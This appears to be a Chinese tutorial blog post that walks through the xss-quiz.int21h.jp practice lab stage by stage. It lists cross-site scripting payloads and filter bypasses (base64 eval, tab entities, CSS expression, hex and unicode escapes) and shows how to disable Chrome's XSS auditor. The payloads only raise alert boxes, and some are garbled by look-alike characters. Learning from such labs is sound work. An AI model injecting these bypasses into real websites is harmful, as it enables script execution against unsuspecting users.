Web安全攻防的学习——09—(XSS攻击方法:16种主要攻击类型和常见的使用类型)

1、XSS攻击

实验环境介绍
地址:https://xss-quiz.int21h.jp/

探测XSS过程

  • 1.构造一个不会被识别为恶意代码的字符串提交到页面中
  • 2.使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示

1.1 闭合文本标签利用XSS

简单的payload

<script>alert(document.domain);</script>

在这里插入图片描述
当弹出下面的窗口信息的时候,即当前完成此关卡界面的目标。点确定,Next stage进入下一个闯关界面。
在这里插入图片描述

闭合标签的payload

输入
"</b><script>alert(document.domain)</script>
进行闭合网页中的<b>"abc"</b>即可

在这里插入图片描述
** 配置Chrome关闭XSS-Auditor**
https://xss-qhttps://xss-quiz.int21h.jp/
利用XSS过程中会出现下图情况。配置Chrome --args – disable-xss-auditor
在这里插入图片描述
在桌面新建一个快捷方式,键入对象的位置为:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor

这里创建的chrome浏览器快捷键,已经把浏览器的防止XSS攻击的功能关闭了

1.2 属性中的XSS发现

闭合引号,尖括号,引入script脚本
payload

123"><script>alert(document.domain);</script>

在这里插入图片描述
另一种方法:
属性中的XSS发现
onmouseover 鼠标悬停弹出

输入下面的语句:
"οnmοuseοver=alert(document.domain)>

或者:

" οnmοuseοver= " alert(document.domain)>

在这里插入图片描述

1.3 属性中的XSS发现

select元素可创建单选或多选菜单

<select name="p2">
    <option>Japan</option>
    <option>Germany</option>
    <option>USA</option>
    <option>United Kingdom</option>
</select>

修改网页源码中的下拉菜单选项就可以完成攻击
在select下拉框中输入,闭合标签

Japan</option><script>alert(document.domain);</script>

在这里插入图片描述

1.4 HTML表单隐藏参数介绍

隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上

修改隐藏属性,修改类型之后,进行闭合,达到XSS攻击效果
"><script>alert(document.domain);</script>

在这里插入图片描述
在这里插入图片描述

HTML表单文本框介绍

<input type='text' name='' value=''>

value       输入字段的初始值
readonly    输入字段为只读(不能修改)
disabled     输入字段是禁用的
size        规定输入字段的字符    最大长度
maxlength   输入字段允许最大长度


type    类型
text    文本
hidden  隐藏
password 密码  输入内容为不可见
name   文本框的名字
value  值

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.5 payload触发XSS漏洞

修改maxlength的值,达到XSS攻击效果

"><script>alert(document.domain);</script>

在这里插入图片描述

HTML事件介绍
W3C网址:http://www.w3school.com.cn/tags/html_ref_eventattributes.asp
HTML实体 :https://www.w3school.com.cn/html/html_entities.asp

1.6 通过HTML事件来触发XSS

" οnmοuseοver="alert(document.domain)

" οnclick="alert(document.domain)

在这里插入图片描述

1.7 空格分隔属性中的XSS

按照上面的闭合思路来进行尝试

οnmοuseοver= alert(document.domain)

在这里插入图片描述
** javascript伪协议介绍**
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这 个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。 如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开.

 /*var  定义变量*/
 javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

javascript URL还可以含有只执行动作,但不返回值的javascript语句

javascript:alert("hello world!")

在这里插入图片描述

1.8 a链接标签属性

标签定义超链接,用于从一个页面链接到另外一个页面
标签最重要的属性是href属性,它指定链接的目标
在所有浏览器中,链接的默认外观是:

  • 未被访问的链接带有下划线而且是蓝色的
  • 已被访问的链接带有下划线而且是紫色的
  • 活动链接带有下划线而且是红色的
输入下句,点击Make a Link 形成链接
javascript:alert(document.domain);

在这里插入图片描述

1.9 XSS漏洞发现

构造特殊无害字符串,响应中寻找字符串

跳过Stage #9,在span标签中添加 
οnclick= "alert(document.domain)"

在这里插入图片描述

1.10 绕过方法

1.双写绕过

"><script>alert(document.dodomainmain);</script>

在这里插入图片描述
2.编码绕过

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

alert(document.domain)编码后为
YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==

eval 用于执行JavaScript代码
atob 解码base64用于js代码识别

在这里插入图片描述

1.11 绕过替换script和on事件的XSS

在Stage #11演示

&#09;  tab制表符html十进制编码
&#09  代表tab制表符,相当于四个空格   是html编码后链接里的显示
"><a href="javascr&#09ipt:alert(document.domain);">xss</a>

在这里插入图片描述

1.12 利用IE特性绕过XSS过滤

IE中两个反引号``可以闭合一个左边双引号

" `` 可以这样闭合

``οnclick=alert(document.domain)

这个只适用于IE浏览器,其他浏览器不可以使用
在这里插入图片描述

1.13 利用CSS特性绕过XSS过滤

CSS层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言。可以修饰页面效果,拿网站 效果演示,修改css看页面效果

CSS特性绕过XSS过滤

background:url("javascript:alert(document.domain);"); 设置背景颜色

IETester
官网:https://www.my-debugbar.com/wiki/IETester/HomePage
在IETester中打开Stage #13网址进行测试

在IETester中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行
在这里插入图片描述

1.14 IE中利用CSS触发XSS

CSS中执行js**
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支

在Stage #14演示
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来

here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;}); 

here:e\\0xpression(οnmοuseοver=function(){alert(document.domain)})

在这里插入图片描述
十六进制绕过过滤触发XSS
十六进制介绍
十六进制转换有16进制每一位上可以是从小到大为0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16个大小不同 的数,即逢16进1,其中A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示10,11,12,13,14,15

python16进制转换

import binascii 

s = binascii.b2a_hex(">" .encode("utf8")) 

print(s.decode()) 
print("\\x"+s.decode())

在这里插入图片描述

1.15 双斜杠+16进制绕过

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

在这里插入图片描述

1.16 unicode绕过过滤触发XSS

unicode介绍

Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界 上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字

Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。

使用Python将字符串转换为unicode类型

import binascii

s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode())

print("\\u00"+s.decode())  

同上面介绍的,添加\u是为了让js识别编码,多出来的\是转义字符

XSS攻击

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值